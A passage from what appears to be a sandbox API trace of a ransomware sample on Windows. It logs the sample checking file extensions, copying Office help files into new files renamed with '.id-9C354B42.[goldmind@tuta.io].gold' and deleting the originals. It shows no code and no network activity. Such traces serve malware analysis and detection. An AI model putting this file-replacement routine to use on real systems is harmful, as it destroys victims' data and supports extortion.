Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".doc") returned 4 [0108.342] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString=".docx") returned 5 [0108.342] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.342] lstrlenW (lpString=".pdf") returned 4 [0108.342] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.342] lstrlenW (lpString=".xls") returned 4 [0108.342] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.342] lstrlenW (lpString=".xlsx") returned 5 [0108.342] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.342] lstrlenW (lpString=".ppt") returned 4 [0108.342] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".zip") returned 4 [0108.342] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.342] lstrlenW (lpString=".rar") returned 4 [0108.342] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.342] lstrlenW (lpString=".bz2") returned 4 [0108.342] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString=".7z") returned 3 [0108.342] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".dbf") returned 4 [0108.342] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".1cd") returned 4 [0108.342] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0108.342] lstrlenW (lpString=".jpg") returned 4 [0108.342] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.342] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.342] lstrlenW (lpString="WINPROJ_F_COL.HXK") returned 17 [0108.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.639] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0108.639] CloseHandle (hObject=0x3b4) returned 1 [0108.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 0x20 [0108.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.729] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.729] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.730] GetLastError () returned 0x0 [0108.730] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0108.731] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.731] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.731] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0108.731] SetEndOfFile (hFile=0x3a8) returned 1 [0108.731] CloseHandle (hObject=0x3a8) returned 1 [0108.731] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.732] SetEndOfFile (hFile=0x380) returned 1 [0108.733] CloseHandle (hObject=0x380) returned 1 [0108.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 1 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.734] lstrlenW (lpString=".doc") returned 4 [0108.734] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.734] lstrlenW (lpString=".docx") returned 5 [0108.734] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.734] lstrlenW (lpString=".pdf") returned 4 [0108.734] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.734] lstrlenW (lpString=".xls") returned 4 [0108.734] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".xlsx") returned 5 [0108.735] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.735] lstrlenW (lpString=".ppt") returned 4 [0108.735] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".zip") returned 4 [0108.735] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".rar") returned 4 [0108.735] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".bz2") returned 4 [0108.735] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString=".7z") returned 3 [0108.735] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".dbf") returned 4 [0108.735] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".1cd") returned 4 [0108.735] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".jpg") returned 4 [0108.735] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".doc") returned 4 [0108.735] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString=".docx") returned 5 [0108.735] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.735] lstrlenW (lpString=".pdf") returned 4 [0108.735] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".xls") returned 4 [0108.735] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".xlsx") returned 5 [0108.735] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.735] lstrlenW (lpString=".ppt") returned 4 [0108.735] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".zip") returned 4 [0108.735] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".rar") returned 4 [0108.735] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.735] lstrlenW (lpString=".bz2") returned 4 [0108.735] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString=".7z") returned 3 [0108.735] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".dbf") returned 4 [0108.735] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.735] lstrlenW (lpString=".1cd") returned 4 [0108.735] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0108.736] lstrlenW (lpString=".jpg") returned 4 [0108.736] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.736] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0108.736] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0108.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.736] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=7438482) returned 1 [0108.736] CloseHandle (hObject=0x380) returned 1 [0108.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs")) returned 0x20 [0108.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString=".doc") returned 4 [0108.737] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.737] lstrlenW (lpString=".docx") returned 5 [0108.737] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0108.737] lstrlenW (lpString=".pdf") returned 4 [0108.737] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString=".xls") returned 4 [0108.737] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString=".xlsx") returned 5 [0108.737] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0108.737] lstrlenW (lpString=".ppt") returned 4 [0108.737] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString=".zip") returned 4 [0108.737] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString=".rar") returned 4 [0108.737] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString=".bz2") returned 4 [0108.737] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.737] lstrlenW (lpString=".7z") returned 3 [0108.737] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString=".dbf") returned 4 [0108.737] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString=".1cd") returned 4 [0108.737] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString=".jpg") returned 4 [0108.737] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.737] lstrlenW (lpString=".doc") returned 4 [0108.737] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.737] lstrlenW (lpString=".docx") returned 5 [0108.737] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0108.737] lstrlenW (lpString=".pdf") returned 4 [0108.737] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString=".xls") returned 4 [0108.737] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.737] lstrlenW (lpString=".xlsx") returned 5 [0108.737] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0108.737] lstrlenW (lpString=".ppt") returned 4 [0108.737] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.738] lstrlenW (lpString=".zip") returned 4 [0108.738] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.738] lstrlenW (lpString=".rar") returned 4 [0108.738] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.738] lstrlenW (lpString=".bz2") returned 4 [0108.738] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.738] lstrlenW (lpString=".7z") returned 3 [0108.738] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.738] lstrlenW (lpString=".dbf") returned 4 [0108.738] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.738] lstrlenW (lpString=".1cd") returned 4 [0108.738] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0108.738] lstrlenW (lpString=".jpg") returned 4 [0108.738] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.738] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0108.738] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0108.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.738] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=651) returned 1 [0108.738] CloseHandle (hObject=0x380) returned 1 [0108.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 0x20 [0108.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.739] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.739] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.740] GetLastError () returned 0x0 [0108.740] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x28b, lpOverlapped=0x0) returned 1 [0108.771] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x290, lpOverlapped=0x0) returned 1 [0108.772] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.772] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0108.772] SetEndOfFile (hFile=0x3a8) returned 1 [0108.772] CloseHandle (hObject=0x3a8) returned 1 [0108.772] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.772] SetEndOfFile (hFile=0x380) returned 1 [0108.774] CloseHandle (hObject=0x380) returned 1 [0108.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 1 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString=".doc") returned 4 [0108.775] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.775] lstrlenW (lpString=".docx") returned 5 [0108.775] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.775] lstrlenW (lpString=".pdf") returned 4 [0108.775] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.775] lstrlenW (lpString=".xls") returned 4 [0108.775] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.775] lstrlenW (lpString=".xlsx") returned 5 [0108.775] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.775] lstrlenW (lpString=".ppt") returned 4 [0108.775] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString=".zip") returned 4 [0108.775] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.775] lstrlenW (lpString=".rar") returned 4 [0108.775] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.775] lstrlenW (lpString=".bz2") returned 4 [0108.775] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.775] lstrlenW (lpString=".7z") returned 3 [0108.775] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString=".dbf") returned 4 [0108.775] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString=".1cd") returned 4 [0108.775] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString=".jpg") returned 4 [0108.775] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.775] lstrlenW (lpString=".doc") returned 4 [0108.775] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.775] lstrlenW (lpString=".docx") returned 5 [0108.775] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.775] lstrlenW (lpString=".pdf") returned 4 [0108.775] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.776] lstrlenW (lpString=".xls") returned 4 [0108.776] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.776] lstrlenW (lpString=".xlsx") returned 5 [0108.776] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.776] lstrlenW (lpString=".ppt") returned 4 [0108.776] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.776] lstrlenW (lpString=".zip") returned 4 [0108.776] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.776] lstrlenW (lpString=".rar") returned 4 [0108.776] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.776] lstrlenW (lpString=".bz2") returned 4 [0108.776] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.776] lstrlenW (lpString=".7z") returned 3 [0108.776] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.776] lstrlenW (lpString=".dbf") returned 4 [0108.776] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.776] lstrlenW (lpString=".1cd") returned 4 [0108.776] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0108.776] lstrlenW (lpString=".jpg") returned 4 [0108.776] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.776] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0108.776] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0108.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.777] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=211) returned 1 [0108.777] CloseHandle (hObject=0x380) returned 1 [0108.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 0x20 [0108.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft 